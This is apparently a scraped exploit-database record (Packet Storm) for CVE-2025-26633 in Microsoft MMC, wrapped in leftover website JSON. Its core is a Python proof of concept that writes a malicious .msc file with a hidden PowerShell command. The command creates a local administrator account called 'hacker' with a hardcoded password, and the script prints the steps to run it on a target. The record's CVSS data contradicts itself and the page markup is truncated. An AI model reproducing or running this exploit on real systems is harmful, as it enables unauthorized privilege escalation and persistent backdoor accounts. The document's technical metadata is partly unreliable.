{“lastseen”:”2026-04-10T17:14:38″,”description”:”Microsoft MMC MSC EvilTwin local admin creation exploit…”,”published”:”2026-04-10T00:00:00″,”modified”:”2026-04-10T00:00:00″,”type”:”packetstorm”,”title”:”\ud83d\udcc4 Microsoft MMC MSC EvilTwin Local Admin Creation”,”source”:””,”references”:””,”id”:”PACKETSTORM:218671″,”bulletinFamily”:”exploit”,”cwe”:null,”cvelist”:[“CVE-2025-26633″],”sourceData”:”#!\/usr\/bin\/env python3\\n # Exploit Title: Microsoft MMC MSC EvilTwin – Local Admin Creation \\n # Date: 2025-11-22\\n # Author: Mohammed Idrees Banyamer\\n # Author Country: Jordan\\n # GitHub: https:\/\/github.com\/mbanyamer\\n # Vendor Homepage: https:\/\/www.microsoft.com\\n # Software Link: N\/A (built-in Windows component – mmc.exe)\\n # Version: Windows 10 all editions, Windows 11 all editions, Windows Server 2016-2025\\n # Tested on: Windows 11 24H2 (unpatched), Windows 10 22H2 (unpatched)\\n # CVE: CVE-2025-26633\\n # CVSS: 7.8 (High) – CVSS:3.1\/AV:L\/AC:L\/PR:L\/UI:N\/S:U\/C:H\/I:H\/A:H\\n # Category: Local\\n # Platform: Windows\\n # CRITICAL: This is a post-exploitation \/ living-off-the-land technique widely used in real attacks\\n # Including: Zero-day at time of disclosure (March 2025), actively exploited by Water Gamayun APT\\n # Impact: Arbitrary code execution with the privileges of the user opening the .msc file\\n # Fix: Apply Microsoft Patch Tuesday March 2025 updates (e.g., KB5053602 and later)\\n # Advisory: https:\/\/www.zerodayinitiative.com\/advisories\/ZDI-25-25-150\/\\n # Patch: https:\/\/msrc.microsoft.com\/update-guide\/vulnerability\/CVE-2025-26633\\n # Target: Unpatched Windows systems (pre March 2025 patches)\\n \\n # CVE-2025-26633 Proof of Concept \u2013 Add Local Administrator Account\\n # Use ONLY in authorized penetration testing or isolated research labs\\n \\n import os\\n import xml.etree.ElementTree as ET\\n \\n # PAYLOAD: Adds local administrator account \\”hacker\\” silently\\n PAYLOAD = (\\n ‘powershell.exe -NoP -W Hidden -C \\”‘\\n ‘$user = \\\\\\\\\\\\’hacker\\\\\\\\\\\\’; ‘\\n ‘$pass = ConvertTo-SecureString \\\\\\\\\\\\’P@ssw0rd123!\\\\\\\\\\\\’ -AsPlainText -Force; ‘\\n ‘New-LocalUser -Name $user -Password $pass -FullName \\\\\\\\\\\\’Lab User\\\\\\\\\\\\’ ‘\\n ‘-Description \\\\\\\\\\\\’Research account\\\\\\\\\\\\’ -ErrorAction SilentlyContinue; ‘\\n ‘Add-LocalGroupMember -Group \\\\\\\\\\\\’Administrators\\\\\\\\\\\\’ -Member $user ‘\\n ‘-ErrorAction SilentlyContinue; ‘\\n ‘Write-Host \\\\\\\\\\\\'[+] User hacker:P@ssw0rd123! added to Administrators\\\\\\\\\\\\’\\”‘\\n )\\n \\n def create_evil_msc(filename=\\”CVE-2025-26633-AddAdmin.msc\\”):\\n root = ET.Element(\\”MMC_ConsoleFile\\”, ConsoleVersion=\\”3.0\\”)\\n \\n string_table = ET.SubElement(root, \\”StringTable\\”)\\n ET.SubElement(string_table, \\”String\\”, id=\\”1\\”).text = \\”Local Users and Groups\\”\\n ET.SubElement(string_table, \\”String\\”, id=\\”2\\”).text = \\”Security Research Snap-in\\”\\n \\n snapins = ET.SubElement(root, \\”SnapIns\\”)\\n snapin = ET.SubElement(snapins, \\”SnapIn\\”)\\n \\n ET.SubElement(snapin, \\”Name\\”).text = \\”{7B8B9A1C-2D3E-4F5A-9B6C-1A2B3C4D5E6F}\\”\\n ET.SubElement(snapin, \\”Description\\”).text = \\”Custom Administration Tool\\”\\n \\n actions = ET.SubElement(snapin, \\”Actions\\”)\\n action = ET.SubElement(actions, \\”Action\\”)\\n ET.SubElement(action, \\”RunCommand\\”).text = PAYLOAD\\n ET.SubElement(action, \\”Name\\”).text = \\”AddLocalAdmin\\”\\n \\n tree = ET.ElementTree(root)\\n tree.write(filename, encoding=\\”utf-16\\”, xml_declaration=True)\\n print(f\\”[+] Malicious .msc file successfully created: {filename}\\”)\\n \\n def main():\\n msc_file = \\”CVE-2025-26633-AddAdmin.msc\\”\\n create_evil_msc(msc_file)\\n \\n print(\\”\\\\n[+] Next step (execute inside vulnerable target or lab VM):\\”)\\n print(f\\” mmc.exe \\\\\\”{os.path.abspath(msc_file)}\\\\\\”\\\\n\\”)\\n print(\\”[!] Instant local admin account will be created:\\”)\\n print(\\” Username : hacker\\”)\\n print(\\” Password : P@ssw0rd123!\\”)\\n print(\\” Verify with: net localgroup administrators\\”)\\n \\n if __name__ == \\”__main__\\”:\\n main()”,”sourceHref”:”https:\/\/packetstorm.news\/download\/218671″,”cvss”:{“score”:7,”severity”:”HIGH”,”vector”:”CVSS:3.1\/AV:L\/AC:H\/PR:N\/UI:R\/S:U\/C:H\/I:H\/A:H”,”version”:”3.1″},”cvss2″:{},”cvss3″:{“version”:””,”vectorString”:””,”baseScore”:0,”baseSeverity”:””,”attackVector”:””,”attackComplexity”:””,”privilegesRequired”:””,”userInteraction”:””,”scope”:””,”confidentialityImpact”:””,”integrityImpact”:””,”availabilityImpact”:””,”cvssV3″:{“version”:””,”vectorString”:””,”baseScore”:0,”baseSeverity”:””,”attackVector”:””,”attackComplexity”:””,”privilegesRequired”:””,”userInteraction”:””,”scope”:””,”confidentialityImpact”:””,”integrityImpact”:””,”availabilityImpact”:””}},”href”:”https:\/\/packetstorm.news\/files\/id\/218671\/”,”category_name”:”Exploit”,”post_link”:””,”product”:””,”version”:””,”vendor”:””,”ai_description”:””,”ai_severity”:””,”ai_vendor”:””,”ai_product”:””,”ai_version”:””,”ai_score”:0}<\/p>\n","protected":false},"excerpt":{"rendered":"
{“lastseen”:”2026-04-10T17:14:38″,”description”:”Microsoft MMC MSC EvilTwin local admin creation exploit…”,”published”:”2026-04-10T00:00:00″,”modified”:”2026-04-10T00:00:00″,”type”:”packetstorm”,”title”:”\ud83d\udcc4 Microsoft MMC MSC EvilTwin Local Admin Creation”,”source”:””,”references”:””,”id”:”PACKETSTORM:218671″,”bulletinFamily”:”exploit”,”cwe”:null,”cvelist”:[“CVE-2025-26633″],”sourceData”:”#!\/usr\/bin\/env python3\\n # Exploit Title: Microsoft MMC MSC EvilTwin – Local…<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[3],"tags":[6,8,79,12,15,13,53,7,11,5],"class_list":["post-42351","post","type-post","status-publish","format-standard","hentry","category-category_exploit","tag-cve","tag-cvss","tag-cvss-70","tag-exploit","tag-high","tag-news","tag-packetstorm","tag-security","tag-tapic","tag-vulnerability"],"yoast_head":"\n